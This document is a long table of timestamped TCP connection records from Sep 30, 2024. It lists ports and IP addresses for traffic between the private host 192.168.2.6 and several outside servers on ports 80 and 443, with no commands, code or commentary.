Sep 30, 2024 13:59:41.650681973 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650697947 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650719881 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.650732994 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:41.650779963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:41.743226051 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743252993 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743280888 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.743288994 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743324995 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.743335009 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743376970 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.743417025 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743453026 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.743455887 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743515968 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.743854046 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.744149923 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.744164944 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.744173050 CEST	49725	443	192.168.2.6	104.102.49.254
Sep 30, 2024 13:59:41.744178057 CEST	443	49725	104.102.49.254	192.168.2.6
Sep 30, 2024 13:59:41.764141083 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:41.764225006 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:41.764287949 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:41.765728951 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:41.765753984 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:41.783044100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:41.787866116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:42.254209042 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.254273891 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.259011984 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.259026051 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.259318113 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.261053085 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.261070967 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.261128902 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.330331087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:42.335267067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:42.335427046 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:42.336643934 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:42.341459036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:42.553721905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:42.553824902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:42.555980921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:42.560739040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:42.740384102 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.740488052 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.740809917 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.741729975 CEST	49726	443	192.168.2.6	188.114.97.3
Sep 30, 2024 13:59:42.741750956 CEST	443	49726	188.114.97.3	192.168.2.6
Sep 30, 2024 13:59:42.956748962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:42.957854033 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.127933025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:43.129837990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:43.335844994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.340696096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.473681927 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:43.478554010 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:43.481153965 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:43.481450081 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:43.481493950 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:43.486298084 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:43.486327887 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:43.486501932 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:43.486511946 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:43.587999105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.588057995 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.592864037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.597723961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.774178982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.774194956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.774250984 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.776515007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.781351089 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959155083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959214926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.959233999 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959247112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959259033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959270954 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.959294081 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.959301949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959314108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:43.959352016 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.961313963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:43.966079950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.141707897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.141978979 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.165314913 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.165355921 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.170286894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.170301914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.170310020 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.170321941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.170342922 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.170382023 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.257215023 CEST	80	49728	45.132.206.251	192.168.2.6
Sep 30, 2024 13:59:44.257558107 CEST	49728	80	192.168.2.6	45.132.206.251
Sep 30, 2024 13:59:44.381038904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.381205082 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.387837887 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.392857075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565397024 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565423965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565434933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565490007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.565521002 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.565526962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565548897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565560102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565598965 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.565606117 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565613031 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.565619946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.565642118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.565654039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.566426039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566440105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566451073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566468000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.566479921 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.566816092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566826105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566848040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566859007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566864967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.566869020 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.566890955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.566903114 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.648607969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648642063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648653030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648679018 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.648714066 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.648732901 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648745060 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648755074 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.648794889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.649045944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.649183035 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.649226904 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.653721094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.653755903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.653768063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.653774977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.653821945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.653906107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.653943062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.653971910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.653984070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654023886 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.654306889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654320002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654340982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654351950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654354095 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.654364109 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654375076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.654380083 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.654402971 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.654432058 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.655154943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655168056 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655179024 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655189991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655205011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.655224085 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.655615091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655659914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655673027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655736923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.655736923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.655745983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655759096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655771017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.655812979 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.656565905 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.656579018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.656589985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.656626940 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.656666994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739244938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739259958 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739270926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739281893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739290953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739293098 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739304066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739305019 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739315987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739335060 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739357948 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739367962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739377975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739409924 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739579916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739593029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739604950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739622116 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739650965 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739672899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739686012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739697933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739705086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.739751101 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.739779949 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742228985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742285013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742295027 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742306948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742306948 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742333889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742357969 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742379904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742392063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742430925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742688894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742701054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742712021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742733955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742744923 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.742769003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742779970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.742815971 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.743204117 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743215084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743225098 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743244886 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743253946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.743257999 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743268967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743277073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.743292093 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.743318081 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.743329048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743339062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743350983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.743387938 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.744124889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744221926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744232893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744242907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744252920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744261980 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.744272947 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744280100 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.744285107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744292021 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.744297028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744307995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.744319916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.744343042 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745069981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745095015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745106936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745137930 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745166063 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745179892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745191097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745212078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745220900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745223045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745239019 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745244026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745255947 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.745256901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745284081 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.745307922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.746942043 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.747025967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827667952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827703953 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827718019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827728987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827754974 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827760935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827771902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827786922 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827796936 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827797890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827809095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827811956 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827838898 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827897072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827908039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827919006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827929974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827941895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.827965975 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.827987909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.828181982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.828195095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.828206062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.828310966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.830715895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830764055 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830776930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830817938 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.830830097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830843925 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830854893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830866098 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.830892086 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.830904007 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831016064 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831048012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831073046 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831084967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831095934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831114054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831136942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831247091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831257105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831269026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831315994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831351995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831363916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831374884 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831392050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831403017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831423998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831423998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831439018 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831734896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831748009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831758976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831783056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831804991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:44.831829071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831840038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831850052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831861973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:44.831875086 CEST	49727	80	192.168.2.6	46.8.231.109
